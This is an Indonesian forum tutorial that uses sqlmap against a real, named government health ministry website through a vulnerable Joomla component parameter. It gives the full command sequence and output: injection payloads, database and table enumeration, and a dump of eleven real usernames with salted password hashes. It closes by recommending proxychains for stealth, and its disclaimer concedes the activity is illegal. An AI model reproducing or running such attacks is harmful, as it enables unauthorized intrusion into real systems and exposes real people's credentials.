ini adalah contoh tutorial sederhana dengan sqlmap, adapun troubleshooting tentang sqlmap dan lain lain akan saya buat di next tutorial.
“sqlmap adalah tools untuk melakukan testing penetrasi sql injection pada suatu web, tools ini menurut saya, tools sql injection yang free paling lengkap untuk saat ini, walaupun ada havij, tapi menurut saya havij kurang advanced, havij lebih banyak dipakai oleh pengguna baru newbie, karena memang kegunaan nya yang sangat simple untuk sekali attack sql injection.”
kali ini saya kasih contoh di
[You must be registered and logged in to see this link.] dengan flaws di component joomla depkesdownload.
*perhatian apa yang saya ajarkan ialah ilegal, penggunaan materi ini semata mata untuk tujuan pembelajaran, dan pihak ke tiga atau ke dua dimohon untuk pemahaman nya ini semata semata AUDIT Gratis dari saya tentang website depkes, sebelum ada hacker yang melakukan perusakan terhadap web tersebut.
saya akan selalu menggunakan flag default –threads dan –random-agent dengan kegunaan
- Quote :
- 1 --threads : max number sqlmap mencoba untuk membuka concurrent http connections.
2 --random-agent : load random user agent dari default sqlmap,
total user agent yang bisa digunakan ialah 2078 random user agent.
- Quote :
- 1 $ wc txt/user-agents.txt
2 2078 23092 198475 txt/user-agents.txt
penggunaan sqlmap secara standart :
- Code:
-
1 root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "URL" --random-agent --threads X --banner --dbs --tables --columns --dump --dumpall
1. test injeksi dengan men-fetch banner mysql (versi mysql)
- Code:
-
01 root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 --banner
02 sqlmap/1.0-dev (r4370) - automatic SQL injection and database takeover tool
03 http://www.sqlmap.org
04 [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
05 [*] starting at 22:09:14
06 [22:09:14] [INFO] fetched random HTTP User-Agent header from file '/root/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5
07 [22:09:15] [INFO] using '/root/sqlmap-dev/output/www.depkes.go.id/session' as session file
08 [22:09:15] [INFO] testing connection to the target url
09 [22:09:15] [INFO] testing if the url is stable, wait a few seconds
10 [22:09:16] [INFO] url is stable
11 ---8<------ snip
12 [22:11:31] [INFO] GET parameter 'folderid' is 'MySQL > 5.0.11 AND time-based blind' injectable
13 [22:11:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
14 [22:11:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
15 [22:11:36] [INFO] testing 'Generic UNION query with Microsoft Access (%00) comment (NULL) - 1 to 10 columns'
16 GET parameter 'folderid' is vulnerable. Do you want to keep testing the others? [y/N] n
17 sqlmap identified the following injection points with a total of 445 HTTP(s) requests:
18 ---
19 Place: GET
20 Parameter: folderid
21 Type: boolean-based blind
22 Title: AND boolean-based blind - WHERE or HAVING clause
23 Payload: option=com_depkesdownload&itemid=21&folderid=51' AND 8184=8184 AND 'TEzv'='TEzv
24 Type: AND/OR time-based blind
25 Title: MySQL > 5.0.11 AND time-based blind
26 Payload: option=com_depkesdownload&itemid=21&folderid=51' AND SLEEP(5) AND 'ISyk'='ISyk
27 ---
28 [22:14:12] [INFO] the back-end DBMS is MySQL
29 [22:14:12] [INFO] fetching banner
30 [22:14:12] [INFO] retrieving the length of query output
31 [22:14:12] [INFO] retrieved: 6
32 [22:14:21] [INFO] retrieved: 5.0.45
33 web server operating system: Linux CentOS 5
34 web application technology: Apache 2.2.3, PHP 5.1.6
35 back-end DBMS: MySQL 5.0.11
36 banner: '5.0.45'
37 [22:14:21] [WARNING] HTTP error codes detected during testing:
38 404 (Not Found) - 198 times
39 [22:14:21] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
40 [*] shutting down at 22:14:21
apa yang saya lakukan pertama kali untuk memfetch banner dari dbms itu penting, karena dengan melakukan injeksi pancingan ke web, sqlmap akan mendapatkan route map dari injeksi website tersebut, sehingga serangan injeksi selanjutnya akan lebih mudah bagi sqlmap.
pada awal injeksi menggunakan sqlmap, disarankan untuk men-fetch banner terlebih dahulu, dengan metode tebak tebak an injeksi ini sqlmap akan lebih gampang membuild road map dari jenis injeksi dbms si website, sekedar sharing saya pernah tidak men-fetch banner terlebih dahulu melainkan langsung dengan metode –dbs, namun hasilnya gagal, ketika dicoba lain kali dengan injeksi –banner sqlmap berhasil men-injeksi web tersebut, dan viola kesana nya pun sqlmap mudah untuk fetch data.
dari hasil injeksi fetch banner mysql, kita mendapatkan positive impact dari target, yaitu keluarnya hasil untuk versi DBMS yaitu : MySQL 5.0.11 dengan tipe injeksi MySQL Blind.
2. fetch user yang digunakan, dan db yang sedang digunakan dengan flag (–current-user dan –current-db)
langkah ke dua ialah analisis user yang dipakai di DBMS dan DB yang sedang digunakan pada website tersebut.
- Code:
-
08 [22:24:23] [INFO] retrieving the length of query output
09 [22:24:23] [INFO] read from file '/root/sqlmap-dev/output/www.depkes.go.id/session': 20
10 [22:24:46] [INFO] retrieved: website-in@localhost
11 current user: 'website-in@localhost'
12 [22:24:46] [INFO] fetching current database
13 [22:24:46] [INFO] retrieving the length of query output
14 [22:24:46] [INFO] retrieved: 6
15 [22:24:55] [INFO] retrieved: portal
16 current database: 'portal'
17 [22:24:55] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
18 [*] shutting down at 22:24:55
3. fetch list database yang bisa dihandle oleh user website-in@localhost dengan flag (--dbs)
selanjutnya kita melakukan fetching list database, dengan mengetahui list databse yang lain kita dapat bebas melakukan injeksi pada setiap database
- Code:
-
01 root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 --dbs
02 --------8<--- snip
03 [22:36:06] [INFO] the back-end DBMS is MySQL
04 web server operating system: Linux CentOS 5
05 web application technology: Apache 2.2.3, PHP 5.1.6
06 back-end DBMS: MySQL 5.0.11
07 [22:36:06] [INFO] fetching database names
08 [22:36:06] [INFO] fetching number of databases
09 [22:36:06] [INFO] retrieved: 2
10 [22:36:08] [INFO] retrieving the length of query output
11 [22:36:08] [INFO] retrieved: 18
12 [22:36:31] [INFO] retrieved: information_schema
13 [22:36:31] [INFO] retrieving the length of query output
14 [22:36:31] [INFO] retrieved: 6
15 [22:36:40] [INFO] retrieved: portal
16 available databases [2]:
17 [*] information_schema
18 [*] portal
19 [22:36:40] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
20 [*] shutting down at 22:36:40
ternyata hanya 2 database yang avail, yaitu information_schema dan database portal, kita langsung injeksi untuk database portal saja yah, information_schema nya silahkan googling sendiri.
4. fetch list tables di database portal dengan flag (-D portal --tables)
- Code:
-
1 root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=
karena log / verbose yang dihasilkan panjang sekali, kita bisa langsung cek hasil dari setiap log injeksi di folder output/web
berikut contoh list tables yang berhasil di injeksi dari database portal, ada 89 tables.
- Code:
-
01 root@ubuntu:~/sqlmap-dev/output/www.depkes.go.id# cat log
02 -----8<---- snip ---
03 Database: portal
04 [89 tables]
05 +------------------------------+
06 | jos_assignments |
07 | jos_banner |
08 | jos_bannerclient |
09 | jos_bannertrack |
10 | jos_categories |
11 | jos_components |
12 | jos_contact_details |
13 | jos_content |
14 | jos_content_frontpage |
15 | jos_content_rating |
16 | jos_core_acl_aro |
17 | jos_core_acl_aro_groups |
18 | jos_core_acl_aro_map |
19 | jos_core_acl_aro_sections |
20 | jos_core_acl_groups_aro_map |
21 | jos_core_log_items |
22 | jos_core_log_searches |
23 | jos_downloads |
24 | jos_downloads_blob |
25 | jos_downloads_category |
26 | jos_downloads_classify |
27 | jos_downloads_containers |
28 | jos_downloads_file_classify |
29 | jos_downloads_files |
30 | jos_downloads_folders |
31 | jos_downloads_log |
32 | jos_downloads_repository |
33 | jos_downloads_reviews |
34 | jos_downloads_structure |
35 | jos_downloads_text |
36 | jos_groups |
37 | jos_hwdvidsantileech |
38 | jos_hwdvidscategories |
39 | jos_hwdvidsfavorites |
40 | jos_hwdvidsflagged_groups |
41 | jos_hwdvidsflagged_videos |
42 | jos_hwdvidsgroup_membership |
43 | jos_hwdvidsgroup_videos |
44 | jos_hwdvidsgroups |
45 | jos_hwdvidsgs |
46 | jos_hwdvidslogs_archive |
47 | jos_hwdvidslogs_favours |
48 | jos_hwdvidslogs_views |
49 | jos_hwdvidslogs_votes |
50 | jos_hwdvidsplugin |
51 | jos_hwdvidsrating |
52 | jos_hwdvidsss |
53 | jos_hwdvidsvideos |
54 | jos_jdownloads_cats |
55 | jos_jdownloads_config |
56 | jos_jdownloads_files |
57 | jos_jdownloads_license |
58 | jos_jdownloads_templates |
59 | jos_menu |
60 | jos_menu_types |
61 | jos_messages |
62 | jos_messages_cfg |
63 | jos_migration_backlinks |
64 | jos_mod_apotik |
65 | jos_mod_puskesmas |
66 | jos_mod_puskesmas15072011 |
67 | jos_mod_puskesmas24112010 |
68 | jos_mod_puskesmas_23012011 |
69 | jos_mod_puskesmas_old |
70 | jos_mod_rumah_sakit |
71 | jos_modules |
72 | jos_modules_menu |
73 | jos_newsfeeds |
74 | jos_permissions |
75 | jos_phocadownload |
76 | jos_phocadownload_categories |
77 | jos_phocadownload_licenses |
78 | jos_phocadownload_sections |
79 | jos_phocadownload_settings |
80 | jos_phocadownload_user_stat |
81 | jos_plugins |
82 | jos_poll_data |
83 | jos_poll_date |
84 | jos_poll_menu |
85 | jos_polls |
86 | jos_rokdownloads |
87 | jos_rokversions |
88 | jos_sections |
89 | jos_session |
90 | jos_stats_agents |
91 | jos_swmenufree_config |
92 | jos_templates_menu |
93 | jos_users |
94 | jos_weblinks |
95 +------------------------------+
5. fetch isi kolum pada setiap tables dengan flag (--columns)
setelah itu mari kita ke final step pada setiap langkah langkah menginjeksi suatu web, yaitu memfetch isi dari tables. karena tabel yang menarik dari list diatas yaitu tabel users, maka langsung kita fetch isi tabel tersebut
sebelumnya kita fetch dulu list kolum pada tabel tersebut, dan fetch data dari kolum hanya yang penting saja, kita fetch dengan flag (-D portal -T jos_users --columns)
- Code:
-
01 root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 -D portal -T jos_users --columns
02 ----8<----snip
03 +---------------+---------------------+
04 | Column | Type |
05 +---------------+---------------------+
06 | activation | varchar(100) |
07 | block | tinyint(4) |
08 | email | varchar(100) |
09 | gid | tinyint(3) unsigned |
10 | id | int(11) |
11 | lastvisitDate | datetime |
12 | name | varchar(255) |
13 | params | text |
14 | password | varchar(100) |
15 | registerDate | datetime |
16 | sendEmail | tinyint(4) |
17 | username | varchar(150) |
18 | usertype | varchar(25) |
19 +---------------+---------------------+
20 [02:39:42] [INFO] Fetched data logged to text files under '/root/sqlmap-dev/output/www.depkes.go.id'
21 [*] shutting down at 02:39:42
sekarang kita akan men-fetch hanya isi dari kolum (username, dan password), dengan flag (-D portal -T jos_users -C username,password --dump), flag --dump berguna untuk men-dump isi dari kolum kedalam log sqlmap sehingga bisa kita liat secara permanen di hardisk tanpa melakukan injeksi ulang (logging)
- Code:
-
1 root@ubuntu:~/sqlmap-dev# ./sqlmap.py -u "http://www.depkes.go.id/index.php/component/depkesdownload/index.php?option=com_depkesdownload&itemid=21&folderid=51" --random-agent --threads 10 -D portal -T jos_users -C username,password --dump
hasil yang terlog di folder log/web
- Code:
-
01 root@ubuntu:~/sqlmap-dev# cat output/www.depkes.go.id/log
02 ----------8<----snip
03 Database: portal
04 Table: jos_users
05 [11 entries]
06 +-------------------------------------------------------------------+---------------+
07 | password | username |
08 +-------------------------------------------------------------------+---------------+
09 | 35d1b3c70e13825c0d4a67843adbf6ef:sQEMDKp8NKGSLMMKP5DocOSMwO1uCV3l | admin |
10 | f45161dd4038a5946c1dbcc59dbc0d6a:JUYQ0bIg2mt0XrIotHzVRw4yTowVCgIi | andri |
11 | 06b60c7bbdd5e197810d9018c3640ccd:MXghhJp9fJc8uadkcrZC30dZhyn3JnK7 | dewi_roro |
12 | 1e41bc000f1461a1410823fcdd7f0c22:eNKOmRJO35Mxa5PqI8jJAxAR7mN4qPxO | ipunk |
13 | 30f9ade9382291ffaf41ba0e35fa54ca:EOnhJGXlt5LLl0cefNLleOYQ8OCCgloc | ismail |
14 | d8c27e4de63a2c48e4a66ec8d88160c8:I30jspHGk6lPca18gwX1k069vqopqnoc | isti |
15 | faf5fc5f3d5901d79a396c62cacdc639:dRzIfNbjgAkj5Bco281VE1y6PiaKQLLa | Miemie Widya |
16 | 42fac0d700127746caac2c225b1f0427:pGFxjurnXno3dLMZMxwhdGe65NsI0zDl | puskom |
17 | d7c49e113aca936ed03c452c71784e7b:7mABDrLJBxFSbLyiDTcCi2Xr5agcxeGc | rsud meureudu |
18 | 27a94db23c3d203edbcd7314a998bf9e:R3x0ypx8lbe7yrAylDbixbf0pDdZ2KDb | silver |
19 | 50a09da3b0d90b736e939862ef565c4d:YGJbFZxWVEayGlylKuyLvmY5wadgQy5K | supriyono |
20 +-------------------------------------------------------------------+---------------+
adapun csv dari hasil dump ada berada di subfolder dump di setiap folder log web tersebut
[You must be registered and logged in to see this image.]untuk melakukan full dump satu kolum bisa menggunakan flag (-D portal -T jos_users --columns --dump) namun isinya berantakan dikarenakan banyak jumlah kolum, jadi lebih baik kita fetch kolum yang dianggap perlu saja, berikut dari hasil full dump untuk tabel jos_users : jos_users.txt
hal terbaik dari teknik sql injection menggunakan tools ialah jika digabungkan dengan tools proxychains, yang akan menghasilkan tools hack website yang stealth, powerfull namun sederhana.
Good Luck!